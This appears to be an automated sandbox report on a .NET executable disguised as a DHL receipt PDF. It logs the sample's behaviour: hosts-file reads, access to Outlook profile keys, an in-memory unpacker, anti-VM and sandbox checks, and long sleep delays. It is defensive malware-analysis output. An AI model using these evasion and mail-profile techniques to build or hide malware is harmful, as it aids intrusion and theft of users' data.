Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: DHL_119040 ontvangstbewijs,pdf.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: DHL_119040 ontvangstbewijs,pdf.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Data Obfuscation:

.NET source code contains potential unpacker

Show sources

Source: DHL_119040 ontvangstbewijs,pdf.exe, Biblan/Views/MainWindow.cs	.Net Code: ObjectIdentifier System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 1.0.DHL_119040 ontvangstbewijs,pdf.exe.4b0000.0.unpack, Biblan/Views/MainWindow.cs	.Net Code: ObjectIdentifier System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 1.2.DHL_119040 ontvangstbewijs,pdf.exe.4b0000.0.unpack, Biblan/Views/MainWindow.cs	.Net Code: ObjectIdentifier System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 4.0.DHL_119040 ontvangstbewijs,pdf.exe.500000.2.unpack, Biblan/Views/MainWindow.cs	.Net Code: ObjectIdentifier System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 4.0.DHL_119040 ontvangstbewijs,pdf.exe.500000.3.unpack, Biblan/Views/MainWindow.cs	.Net Code: ObjectIdentifier System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 4.0.DHL_119040 ontvangstbewijs,pdf.exe.500000.5.unpack, Biblan/Views/MainWindow.cs	.Net Code: ObjectIdentifier System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 4.2.DHL_119040 ontvangstbewijs,pdf.exe.500000.1.unpack, Biblan/Views/MainWindow.cs	.Net Code: ObjectIdentifier System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 4.0.DHL_119040 ontvangstbewijs,pdf.exe.500000.9.unpack, Biblan/Views/MainWindow.cs	.Net Code: ObjectIdentifier System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 4.0.DHL_119040 ontvangstbewijs,pdf.exe.500000.0.unpack, Biblan/Views/MainWindow.cs	.Net Code: ObjectIdentifier System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 4.0.DHL_119040 ontvangstbewijs,pdf.exe.500000.1.unpack, Biblan/Views/MainWindow.cs	.Net Code: ObjectIdentifier System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 4.0.DHL_119040 ontvangstbewijs,pdf.exe.500000.11.unpack, Biblan/Views/MainWindow.cs	.Net Code: ObjectIdentifier System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 4.0.DHL_119040 ontvangstbewijs,pdf.exe.500000.7.unpack, Biblan/Views/MainWindow.cs	.Net Code: ObjectIdentifier System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])

Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Code function: 1_2_004B9347 push ds; ret	1_2_004B934C
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Code function: 1_2_004B9361 push ds; retf	1_2_004B9364
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Code function: 1_2_004B92F5 push ds; ret	1_2_004B9340
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Code function: 4_2_00509347 push ds; ret	4_2_0050934C
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Code function: 4_2_005092F5 push ds; ret	4_2_00509340
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Code function: 4_2_00509361 push ds; retf	4_2_00509364
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Code function: 4_2_00C7C260 push eax; retf	4_2_00C7C489
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Code function: 4_2_00C7C3B3 push eax; retf	4_2_00C7C489
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Code function: 4_2_00C87E3F push edi; retn 0000h	4_2_00C87E41

Source: initial sample

Static PE information: section name: .text entropy: 7.8827247031

Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion:

Yara detected AntiVM3

Show sources

Source: Yara match	File source: 1.2.DHL_119040 ontvangstbewijs,pdf.exe.28d8f58.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.DHL_119040 ontvangstbewijs,pdf.exe.296b68c.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.309960102.000000000293B000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.309824480.0000000002871000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: DHL_119040 ontvangstbewijs,pdf.exe PID: 4532, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: DHL_119040 ontvangstbewijs,pdf.exe, 00000001.00000002.309960102.000000000293B000.00000004.00000001.sdmp, DHL_119040 ontvangstbewijs,pdf.exe, 00000001.00000002.309824480.0000000002871000.00000004.00000001.sdmp	Binary or memory string: SBIEDLL.DLL
Source: DHL_119040 ontvangstbewijs,pdf.exe, 00000001.00000002.309960102.000000000293B000.00000004.00000001.sdmp, DHL_119040 ontvangstbewijs,pdf.exe, 00000001.00000002.309824480.0000000002871000.00000004.00000001.sdmp	Binary or memory string: KERNEL32.DLL.WINE_GET_UNIX_FILE_NAME

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Show sources

Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Show sources

Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe TID: 5268	Thread sleep time: -5534023222112862s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe TID: 5268	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe TID: 5208	Thread sleep count: 1131 > 30	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe TID: 5268	Thread sleep time: -239859s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe TID: 5208	Thread sleep count: 1478 > 30	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe TID: 4592	Thread sleep time: -39145s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe TID: 5268	Thread sleep time: -239734s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe TID: 5268	Thread sleep time: -239625s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe TID: 5268	Thread sleep time: -239511s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe TID: 5268	Thread sleep time: -239406s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe TID: 5268	Thread sleep time: -239297s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe TID: 5268	Thread sleep time: -239141s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe TID: 5268	Thread sleep time: -239030s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe TID: 5268	Thread sleep time: -238922s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe TID: 5268	Thread sleep time: -238781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe TID: 5268	Thread sleep time: -238671s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe TID: 5268	Thread sleep time: -238562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe TID: 5268	Thread sleep time: -238437s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe TID: 5268	Thread sleep time: -238328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe TID: 5268	Thread sleep time: -238216s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe TID: 5268	Thread sleep time: -237953s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe TID: 5268	Thread sleep time: -237703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe TID: 5268	Thread sleep time: -237141s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe TID: 5268	Thread sleep time: -236547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe TID: 5268	Thread sleep time: -236250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe TID: 5268	Thread sleep time: -236047s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe TID: 5268	Thread sleep time: -235903s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe TID: 4344	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe TID: 1068	Thread sleep time: -25825441703193356s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe TID: 1432	Thread sleep count: 3086 > 30	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe TID: 1432	Thread sleep count: 6732 > 30	Jump to behavior

Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Thread delayed: delay time: 240000	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Thread delayed: delay time: 239859	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Thread delayed: delay time: 239734	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Thread delayed: delay time: 239625	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Thread delayed: delay time: 239511	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Thread delayed: delay time: 239406	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Thread delayed: delay time: 239297	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Thread delayed: delay time: 239141	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Thread delayed: delay time: 239030	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Thread delayed: delay time: 238922	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Thread delayed: delay time: 238781	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Thread delayed: delay time: 238671	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Thread delayed: delay time: 238562	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Thread delayed: delay time: 238437	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Thread delayed: delay time: 238328	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Thread delayed: delay time: 238216	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Thread delayed: delay time: 237953	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Thread delayed: delay time: 237703	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Thread delayed: delay time: 237141	Jump to behavior
